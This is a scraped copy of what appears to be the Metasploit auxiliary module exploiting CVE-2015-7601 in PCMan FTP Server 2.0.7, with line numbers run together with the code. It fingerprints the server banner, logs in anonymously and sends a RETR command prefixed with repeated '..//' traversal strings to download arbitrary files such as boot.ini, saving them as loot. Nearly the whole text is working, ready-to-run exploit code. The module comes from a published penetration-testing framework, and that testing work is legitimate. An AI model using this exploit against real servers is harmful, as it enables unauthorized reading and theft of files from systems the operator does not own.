Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(update_info(info,12'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',13'Description' => %q{14This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.15This vulnerability allows an attacker to download arbitrary files from the server by crafting16a RETR command that includes file system traversal strings such as '..//'17},18'Platform' => 'win',19'Author' =>20[21'Jay Turla', # @shipcod3, msf and initial discovery22'James Fitts', # initial discovery23'Brad Wolfe <brad.wolfe[at]gmail.com>'24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'EDB', '38340'],29[ 'CVE', '2015-7601']30],31'DisclosureDate' => '2015-09-28'32))3334register_options(35[36OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),37OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])38])39end4041def check_host(ip)42begin43connect44if /220 PCMan's FTP Server 2\.0/i === banner45return Exploit::CheckCode::Appears46end47ensure48disconnect49end5051Exploit::CheckCode::Safe52end5354def run_host(target_host)55begin56# Login anonymously and open the socket that we'll use for data retrieval.57connect_login58sock = data_connect59if sock.nil?60error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'61print_status(error_msg)62elog(error_msg)63else64file_path = datastore['PATH']65file = ::File.basename(file_path)6667# make RETR request and store server response message...68retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"69res = send_cmd( ["RETR", retr_cmd])7071# read the file data from the socket that we opened72# dont assume theres still a sock to read from. Per #758273if sock.nil?74error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'75print_status(error_msg)76elog(error_msg)77return78else79# read the file data from the socket that we opened80response_data = sock.read(1024)81end8283unless response_data84print_error("#{file_path} not found")85return86end8788if response_data.length == 0 or ! (res =~ /^150/ )89print_status("File (#{file_path})from #{peer} is empty...")90return91end9293# store file data to loot94loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)95vprint_status("Data returned:\n")96vprint_line(response_data)97print_good("Stored #{file_path} to #{loot_file}")98end99100rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e101vprint_error(e.message)102elog(e)103rescue ::Timeout::Error, ::Errno::EPIPE => e104vprint_error(e.message)105elog(e)106ensure107data_disconnect108disconnect109end110end111end112113114